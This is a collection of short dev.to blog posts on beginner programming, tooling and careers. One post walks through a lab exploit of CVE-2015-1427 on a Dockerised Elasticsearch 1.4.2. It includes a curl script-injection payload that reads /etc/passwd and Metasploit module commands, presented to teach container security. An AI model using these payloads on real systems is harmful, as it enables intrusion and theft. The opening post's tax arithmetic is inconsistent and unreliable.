teleren/devto huggingface dataset:
JavaScript: Back to Basics with Operators
Tags: javascript, beginners, codenewbie, webdev
Published: 2018-11-03 01:42:26

---
cover_image: https://thepracticaldev.s3.amazonaws.com/i/8pkh6866o57bsc8jdowy.jpg
title: JavaScript: Back to Basics with Operators
published: true
description: Operators and the order of operations. 
tags: #javascript #beginners #codenewbie #webdev
---
I’m in the process of making a career change into Web Development and learning JavaScript has been a journey and an adventure at the same time.  As with anything new, mastery only comes once the basics have been conquered.  A refresher from time to time never hurts either. 

For anyone with a non-technical background I think it’s important to review the basics of operators.   **Operators** are the symbols used to make basic mathematical calculations (+, =, -, *, /).  

Math operators seem basic enough, right?  Math rules indicate multiplication and division are to take place before addition and subtraction.  An easy way to remember the rules of multiplication are with a great acronym such as PEMDAS, “Please Excuse My Dear Aunt Sally”. 

**P**arenthesis | **E**xponents | **M**ultiplication | **D**ivision | **A**ddition | **S**ubtraction

For a bit of trivia, speakers of British English know a different acronym for remembering the order of operations “BODMAS”. 

**B**rackets | **O**rders | **D**ivision | **M**ultiplication | **A**ddition | **S**ubtraction

The first time I heard this was a few months ago from a classmate.  If I did learn this in school it’s buried in my memory somewhere.   If this is old news for you, great.  If this is new for you, please continue to pass the knowledge forward and awaken someone else’s rusty brain! 

Why is this relevant?  

Let’s say a client has a program that needs to figure out how much an item will cost after tax. 

```javascript
itemPrice = 100;
taxRate = .10;  //10% tax rate

//Without PEMDAS the tax rate results in $0.10 in tax on the item. 
itemPrice * 1 + taxRate;
100.1
```
However, if using PEMDAS, you need to ensure the tax rate is calculated first:
```javascript
itemPrice * (1 + taxRate);
110.00
```
Changing the order of operation by adding the parenthesis results in a rate of $9.90 on one item.  That’s a big difference! 

In JavaScript the details matter.  The difference between a colon and semi-colon matter.  And when calculating a function, a loop or a palindrome, the order of commas, brackets, and mathematical operators matter.
Anki 2.1.x Add-ons
Tags: configuration, anki, study
Published: 2018-11-03 01:38:25

---
title: Anki 2.1.x Add-ons
published: true
description: Installing add-ons for anki 2.1.x
tags: configuration, anki, study
---

Installing Anki add-ons is not too bad, but it's slightly different between versions 2.0.x and 2.1.x. 

For background, I started here with this [Low Key Anki](http://massimmersionapproach.com/table-of-contents/anki/low-key-anki/low-key-anki-summary-and-installation/) guide and wanted to install one of the provided plugins (ResetEZ.py) but it didn't work out of the box.

Add-ons, in OS X, are found in `$HOME/Library/Application Support/Anki2/addons21`. Make a directory, I named mine `resetez`. Inside, add a file named `__init__.py`. Take the contents of `ResetEZ.py` found on the link above (maybe a page or two ahead) and put it as the contents of `__init__.py`. Read the instructions and configure. Restart Anki and you should see a new menu item under Tools!
Hitting a wall with bridgesupport, using Upwork for help
Tags: go, objc, devlog
Published: 2018-11-03 01:01:13

---
title: Hitting a wall with bridgesupport, using Upwork for help
published: true
description: It felt like I was just getting momentum with Apple Go bindings, and then I hit a dead end. I re-strategized and decided to hire somebody to help.
tags: go, objc, devlog
---
Tuesday I worked on generating constants, enums, and stubs for functions, interfaces, and classes. So, it was generating a skeleton of the whole Foundation and AppKit frameworks. Before I got into the meat of it, though, I found that the bridgesupport XML file doesn't have properties or their getters and setters. Given a known property like "sharedApplication", I couldn't even find it referenced in the XML. So, bridgesupport files aren't going to help.

This brought me back to my default strategy of leveraging documentation. In theory, I don't need to parse it. I can just have a documentation generator spit out structured data instead. Doxygen can parse Objective-C headers, so I'm thinking about that. Alternatively, if it doesn't work, we can parse the source directly, but I like the idea of _not_ having to write a language lexer/parser for Objective-C, oh my gosh. 

The problem is even this feels very unfun and I was already at the threshold of my unfun limit with this stuff. But it was a well defined problem so I posted it to Upwork. I actually found somebody that might be perfect. He does the kind of stuff a lot and works on a project called Babelfish that might be really useful for stuff like this in the future in other languages. He also wrote one of the DOM bindings for Go I was looking at with the WASM prototypes. Crazy coincidence!

So, hopefully I'll have some help with this now because there is a lot of it to do in the long term and I have enough work as it is.
{% youtube 1y9-WPUw1uQ %}
Switching JVM on Ubuntu with Bash
Published: 2020-05-06 20:30:08

---
title: Switching JVM on Ubuntu with Bash
published: true
date: 2018-11-03 00:00:00 UTC
tags: 
canonical_url: http://ikysil.github.io/switch-jvm-ubuntu/
---

Just add following to your `.bash_aliases`:

```
alias resetjdkpath='
    PATH=`echo $PATH | sed -Ee 's/[/]usr[/]lib[/]jvm[^:]+//g' | sed -Ee 's/:+/:/g'`
'

alias orjdk7='
    resetjdkpath
    JAVA_HOME=/usr/lib/jvm/java-7-oracle
    J2SDKDIR=${JAVA_HOME}
    J2REDIR=${JAVA_HOME}/jre
    PATH=${JAVA_HOME}/bin:${JAVA_HOME}/db/bin:${JAVA_HOME}/jre/bin:$PATH
    DERBY_HOME=${JAVA_HOME}/db
    java -version
'

alias orjdk8='
    resetjdkpath
    JAVA_HOME=/usr/lib/jvm/java-8-oracle
    J2SDKDIR=${JAVA_HOME}
    J2REDIR=${JAVA_HOME}/jre
    PATH=${JAVA_HOME}/bin:${JAVA_HOME}/db/bin:${JAVA_HOME}/jre/bin:$PATH
    DERBY_HOME=${JAVA_HOME}/db
    java -version
'

alias orjdk9='
    resetjdkpath
    JAVA_HOME=/usr/lib/jvm/java-9-oracle
    J2SDKDIR=${JAVA_HOME}
    J2REDIR=${JAVA_HOME}/jre
    PATH=${JAVA_HOME}/bin:${JAVA_HOME}/db/bin:${JAVA_HOME}/jre/bin:$PATH
    DERBY_HOME=${JAVA_HOME}/db
    java -version
'

alias opjdk8='
    resetjdkpath
    JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
    J2SDKDIR=${JAVA_HOME}
    J2REDIR=${JAVA_HOME}/jre
    PATH=${JAVA_HOME}/bin:${JAVA_HOME}/db/bin:${JAVA_HOME}/jre/bin:$PATH
    DERBY_HOME=${JAVA_HOME}/db
    java -version
'

```
From homelessness to making six figures: On learning how to code.
Tags: conversation, discuss, career
Published: 2018-11-02 23:43:36

---
title: From homelessness to making six figures: On learning how to code. 
published: true
description: A reflection of my life post High School. 
tags: conversation, discuss, career
series: November Daily
---

Most people know I am a college dropout, not a lot of people know that I am a high school drop out as well. At 17 I was living in my car, and after I crashed that (and had no insurance) I was living in a park.

Life was fucking rough, obviously, and I knew I needed a change. I dropped out so that I could get a job and try to support myself. I had a 3.8 high school GPA when I left. I got my GED and started working, I was digging holes for a living in the Arizona heat for $12hr. I decided I would be happy doing anything but this. I ended up attempting to go to college, about 2 years later and over 20k in student loans I started to wonder if college would really pay off. That is when by chance I moved to LA with the woman I was dating at the time (who became the love of my life). 

There in Los Angeles I was introduced to a few self taught programmers who hired me to hand out drink samples for their e-commerce energy drink brand. These guys where just a couple of goof-off bro's that I got along with well. Not stuffy business dudes who I typically imagine when I think of the wealthy. I decided to teach myself to code that day. I remember sitting on the curb googling "Ruby on Rails" because its what those guys knew. 2 years later I was making over 100k. 

My life changed forever because of a chance meeting and determination. Teaching myself how to code was difficult, but when contrasted to the time I spent in college it was obviously worth it. 2 years in college got me sitting on a curb after a long day of slinging drink samples. 2 years of learning to code has me sitting in my living room playing Skyrim VR. It is a no brainer really. If I could go back in time I would not change a single thing. This was the greatest investment I have ever made in myself. 

Now I am trying to help others do the same. I am a true rags to riches story, and I want to show others how to do the same exact thing. If this interests you follow me on [Twitter](https://www.twitter.com/lvrbrtsn) to get updates about my upcoming one-on-one mentoring program and courses!
What happens to MySQL when hitting 100% CPU usage?
Tags: mysql, server, mysqlserver, mysql56
Published: 2018-11-02 21:42:27

---
title: What happens to MySQL when hitting 100% CPU usage?
published: true
description: 
tags: mysql,server, mysql server, mysql 5.6
---

Hi everyone, I am running a MySQL server on RDS (AWS) and I fired 5 INSERT queries into the database which take about 2 minutes to complete each one. The server is at 100% CPU which was to be expected but is this a bad thing? The MySQL server is still serving requests absolutely fine?
How to load polyfills to handle Web Components?
Tags: webcomponents, javascript, polyfills, frontend
Published: 2018-11-02 20:44:52

---
title: How to load polyfills to handle Web Components?
published: true
description: Are Web Components the future? I don't know but with the right approach you can build reusable components that work in all browsers without load polyfills if you don't need it.
tags: webcomponents, javascript, polyfills, frontend
cover_image: https://thepracticaldev.s3.amazonaws.com/i/sf3btht0g7zt0mf1nksp.png
---
In this article I will explain you how I handled the latest ES6 and Web Components features.
If you are starting to work with Web Components you should know that they are well supported by Chrome, Firefox, Safari and Microsoft [announced](https://blogs.windows.com/msedgedev/2015/07/15/microsoft-edge-and-web-components/) this year that they are working to support them.
So you don't need to load polyfills statically, increasing the weight of the final package.

For this reason I created a specific bundle to load polyfills at runtime when browsers don't support it.
I listed the most used features split by types. Below you can find the code:

{% gist https://gist.github.com/grandemayta/c598e521074f457ce14d4f4ec8a5083c %}

As you can see I created a function where I define my WC and then I used dynamic import to enable code splitting to load all polyfills. The file contains all features that I need like fetch, es6 and WC features. Check the code:

{% gist https://gist.github.com/grandemayta/26cd35b3513a3c05d23af7289b1e892c %}

To enable code splitting with webpack you need to install the following package:

```
$ npm i --save-dev @babel/plugin-syntax-dynamic-import
```
 After that add the package in your babel setup (.babelrc or babel.config.js):

```
$  plugins: [
$   '@babel/plugin-syntax-dynamic-import'
$  ]
```

This demo works without the help of polyfills in Chrome, Safari, Firefox and Edge

{% codepen https://codepen.io/grandemayta/pen/XxEOPW %}

If you try to launch the application with IE11, you will see the polyfill loaded:

![Polyfill loaded](https://thepracticaldev.s3.amazonaws.com/i/wq4ue42sdviwj9k0dyth.png)


If you need to see the code, below you can find the links of my repositories:
- [Web Components Scaffolding](https://github.com/grandemayta/webcomponents-scaffolding)
- [Exchange Rates](https://github.com/grandemayta/webcomponents-exchange-rates)

Are Web Components the future? I don't know but with the right approach you can build reusable components that work in all browsers without load polyfills if you don't need it.

Keep calm and code!
Radio
Tags: javascript, radio
Published: 2018-11-02 18:23:17

---
title: Radio
published: true
description: A simple javascript web radio
tags: javascript, radio
canonical_url: https://github.com/victorqribeiro/radio
cover_image: https://thepracticaldev.s3.amazonaws.com/i/hiof7h9wi02i1piwu5dm.png
---

# Radio

A simple javascript web radio.

![radio](https://thepracticaldev.s3.amazonaws.com/i/hiof7h9wi02i1piwu5dm.png)

Listen [here](https://victorribeiro.com/radio) or take a look at the font [here](https://github.com/victorqribeiro/radio)
An Introduction to Helpful Array Methods
Tags: array, method, arraymethod
Published: 2018-11-02 18:16:39

---
title: An Introduction to Helpful Array Methods
published: true
description: A few useful array methods  
tags: #array #method #arraymethod
---

I'm not an expert on coding by any means, in fact, I'm currently enrolled in a full-stack development course which I am only in the middle of. That being said, there were a few useful things I learned about arrays and how to deal with the data stored inside of them. However, this post is just about array methods. The first thing i learned about array methods is that the methods will loop through the array for you, searching for data based on the method you used. This means we don't need to use 'for' loops to loop through the entire array, the methods will do it for us.

The first one is the forEach() array method. This method goes through the entire array and basically grabs each element on the array and then you can perform different actions with that data.

<img src = "https://thepracticaldev.s3.amazonaws.com/i/6ud52wojtiiclvo3qhsb.png"/>

The next one is the filter() method. This one allows us to filter data out from the array based on the specifications we give it.

<img src = "https://thepracticaldev.s3.amazonaws.com/i/isx7n0snsaounznqr2re.png"/>

Another useful method is the includes() method. This loops through the array and finds any element with the parameters you specify, similar to the filter() method.

<img src = "https://thepracticaldev.s3.amazonaws.com/i/ceyhjgaylwbkmmmcyiuq.png"/>

There is push() which allows you to add new elements to the end of an array. This can be useful for making lists of any kind.

<img src = "https://thepracticaldev.s3.amazonaws.com/i/84uq338fh8lah3alrgun.png"/>

Finally, splice() is a very useful method because it allows to either "splice" and element into the array, or add it, but it can also delete items or "splice" them out in the same fashion.

<img src = "https://thepracticaldev.s3.amazonaws.com/i/jvp1yc7zfui4y1lpbz8h.png"/>

These are just a few of the different types of array methods out there, but these are a few I found particularity helpful!
Developers within the entertainment industry
Tags: career, discuss
Published: 2018-11-02 18:13:38

---
title: Developers within the entertainment industry
published: true
description: Discussion about what the every day work of a developer within the entertainment world is.
tags: career, discuss
---

Hey I'am Jan-Philipp please bear with my first ever blog post but I really enjoy dev.to and wanted to give some insights into a industry that is maybe not so well represented here! So if you are/were a part of it or want to know more feel free to contribute or ask questions!

# Who am I?
Studied computer science and somehow made a start as an 3d artist and then got more and more into technical stuff and now I am maintaining a 3D VFX production pipeline for over 25 people.

# Whats the industry like?
Stressful. You create images that others enjoy on the TV or the theater. You work with new technology very often since new projects require more advanced visuals. No one wants his/her tv show or tv spot look like every other show, so often people want something new. We have a research part within our studio were we work together with a local university to create new technology around the media creation.

For the tech part: nearly everything runs with python. Nearly every compositing or 3d tool got some sort of python integration you can work with. Python development is a real joy you can quickly pick it up and its clean and easy to read.

# What I like about my job
The continuous joy of developing tools that save others time in there work so they can spend more time on the creative task. Don't know if that is our studio culture but you get a lot of respect and appreciation from your coworkers because you make their lives easier. That is a huge moral booster and keeps me diving deeper into development even after I though, a few years ago, I would never touch a programming language in my life again.

__

So that is it for me. I would really love to read some other insights or questions. I tried to keep it short and interesting and hope that this worked!
The container is in danger!
Tags: security, docker, container
Published: 2018-11-02 12:48:50

---
title: The container is in danger!
published: true
description: Hacking Elasticsearch
tags: security, docker, container
---

Hello again and welcome back to the **Security Sprint** second edition ;)

Keeping with the topic of the last week, I'm going further in containers security. Now, we are going to learn the danger inside [Elasticsearch](https://www.elastic.co/products/elasticsearch), a distributed, RESTful search and analytics engine.

![](https://www.elastic.co/assets/blt244a845f141977c3/elastic-logo.svg)

To clearly understand my point, let's first launch a container running Elasticsearch. I'm using **1.4.2 version** on purpose.

```
# docker run -d -p 9200:9200 --name es benhall/elasticsearch:1.4.2
```
By default **Docker** drops certain Linux capabilities and blocks syscalls to add a default level of security.

We are going to add a record using `curl` (as the vuln we are using is only effective against not null databases), once we start listening, be patient ;)

```
# curl -XPUT 'http://0.0.0.0:9200/twitter/user/terceranexus6' -d '{"name":"Paula"}'
```

We are going to take advantage of [**CVE-2015-1427**](https://nvd.nist.gov/vuln/detail/CVE-2015-1427), an Elasticsearch vulnerability that allowed to use JAVA for searching, and getting access to additional information, for example getting access to the _Operating System name_.

![](https://thepracticaldev.s3.amazonaws.com/i/3ltglyjea1npk82spquc.png)

We can see, it echoes the results on the HTTP request, but this could be additional applications to launch additional attacks. But this can allow us to access to sensitive data... for example **passwd**.

```
# curl http://docker:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}'
```
Now, now, it's the turn of **Metasploit**![Metasploit](https://www.metasploit.com/) is a penetration testing framework. It could take a while to launch!

```
# docker run -it --link es:es --entrypoint bash benhall/metasploit
# chmod +x start.sh && ./start.sh
```
![](https://thepracticaldev.s3.amazonaws.com/i/z5cytg5vl3hr1rrswp4m.png)

And now we are exploiting Elasticsearch using it. In metasploit terminal write:

```
use exploit/multi/elasticsearch/search_groovy_script
set TARGET 0
set RHOST es
exploit
```

If everything went OK, we should have access to the container. Try and see it using `ls`.

![](https://thepracticaldev.s3.amazonaws.com/i/rc08g3m394nlvwfe9xoi.png)
![](https://fordodone.com/wp-content/uploads/2017/11/lhtyoFj.gif)

_Yikes_! scary! what should we do if we want to keep our container secure? Always take care of having the last versions of your tools, in order to have the patched versions. **This can't assure our security**, but certainly will reduce the risk. 

For more information on the topic, take a look to this [amazing tutorial](https://www.katacoda.com/courses/docker-security/elasticsearch-exploit).
Which is more readable?
Tags: codecompare, ruby
Published: 2018-11-02 16:54:48

---
title: Which is more readable?
published: true
description: I have a Ruby hash that I'm on the fence on...
tags: #codecompare, #ruby
---

I'm currently refactoring/rewriting some code, and I can't decide on which is more readable than the other. It _is_ in Ruby, but I think in this context readability is somewhat language-agnostic.

```ruby
json_data = { user: add_user_data(mentioner) }
json_data[:comment] = add_comment_data(mentionable) if mentionable_type == "Comment"

json_data = {}
json_data[:user] = add_user_data(mentioner)
json_data[:comment] = add_comment_data(mentionable) if mentionable_type == "Comment"
```

I actually like this syntax, too, but unfortunately it's invalid:
```ruby
json_data = {
  user: add_user_data(mentioner),
  comment: add_comment_data(mentionable) if mentionable_type == "Comment"
}

# guess you can't have conditionals when declaring hashes ☹️
```
Gamoliyas – Game of Life in JavaScript (August 2007)
Tags: development, gamedev, game, javascript
Published: 2018-11-02 16:25:00

---
title: Gamoliyas – Game of Life in JavaScript (August 2007)
published: true
tags: development,gamedev,game,javascript
canonical_url: 
---

“Gamoliyas” is an open source Conway’s Game of Life version (highly configurable) totally written in DHTML (HTML, CSS and JavaScript).

![Screenshot](http://dhtmlgames.com/gamoliyas/gamoliyas.gif)

It is my ninth DHTML game and was made in mid 2007.

Players can configure the game with many options, as changing the world size, choosing between spherical and limited world, using colours that change depending on the number of neighbours, changing speed, saving a world or opening a previously stored one, drawing cells yourself or generating them randomly, etc.

The game is specially designed to allow to be used inside any other web site (by using an IFRAME, for example). We just need to get the URL (which will be used in the SRC parameter of the IFRAME tag) generated by the “save world” option with the desired behaviour we have decided in the options that the game will ask us (world size, auto-play, spherical world, multicolour, hide top menu, hide bottom controls, hide bottom information panel, do not allow to draw, speed, size of the cells and space between cells). The game accessed through that URL will start containing the cells which were present when we pressed the “save world” option. You can see a live example using this game with an IFRAME in my personal portfolio: [http://www.joanalbamaldonado.com/portfolio/](http://www.joanalbamaldonado.com/portfolio/)

You can also change the game behaviour easily by editing many of the configuration variables which are at the beginning of the script. To change the game images you just need to replace them with others.

This game only uses a few images which are not necessary to make it work if we are using the game with the panels and such hidden. So all the rest you can see has been made using just pure HTML and CSS.

Official languages are Spanish and English.

You can find other modified and adapted versions of this game on the Internet, including one Opera widget.

This game has been tested under BeOS, Linux, NetBSD, OpenBSD, FreeBSD, Windows, Mac OS X, BlackBerry Tablet OS, Android, iOS and others.

Play online in English: [http://gamoliyas.tuxfamily.org/gamoliyas\_english/](http://gamoliyas.tuxfamily.org/gamoliyas_english/)

Play online in English (mirror): [http://www.dhtmlgames.com/gamoliyas/gamoliyas\_english/](http://www.dhtmlgames.com/gamoliyas/gamoliyas_english/)

Play online in Spanish: [http://gamoliyas.tuxfamily.org/gamoliyas\_spanish/](http://gamoliyas.tuxfamily.org/gamoliyas_spanish/)

Play online in Spanish (mirror): [http://www.dhtmlgames.com/gamoliyas/gamoliyas\_spanish/](http://www.dhtmlgames.com/gamoliyas/gamoliyas_spanish/)

Official web site: [http://gamoliyas.tuxfamily.org/](http://gamoliyas.tuxfamily.org/) (mirror at [http://www.dhtmlgames.com/gamoliyas/](http://www.dhtmlgames.com/gamoliyas/)).

It can also be found on GitHub: [https://github.com/jalbam/gamoliyas](https://github.com/jalbam/gamoliyas)